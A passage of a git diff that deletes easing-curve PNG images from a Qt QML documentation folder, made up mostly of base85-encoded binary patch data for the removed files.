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 diff --git a/src/qml/doc/images/qeasingcurve-outexpo.png b/src/qml/doc/images/qeasingcurve-outexpo.png deleted file mode 100644 index 56851554edd11703670b615a33f762808fd9bf93..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2803 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 FV1hL2Bm)2d diff --git a/src/qml/doc/images/qeasingcurve-outinback.png b/src/qml/doc/images/qeasingcurve-outinback.png deleted file mode 100644 index 4700ab02e84fc4bdad2da6cfcd1884cdefd87401..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3026 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 UnGAliOaK4?07*qoM6N<$f?9gME&u=k diff --git a/src/qml/doc/images/qeasingcurve-outinbounce.png b/src/qml/doc/images/qeasingcurve-outinbounce.png deleted file mode 100644 index 12cc1a8bd4ba41fa88c5da773fafb79bb7d6fd67..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3629 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 Ye;CshKjXL5p8x;=07*qoM6N<$f+LPvR{#J2 diff --git a/src/qml/doc/images/qeasingcurve-outincubic.png b/src/qml/doc/images/qeasingcurve-outincubic.png deleted file mode 100644 index 42af870d99d4a0aa030f9383489260c8ad51924a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2872 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 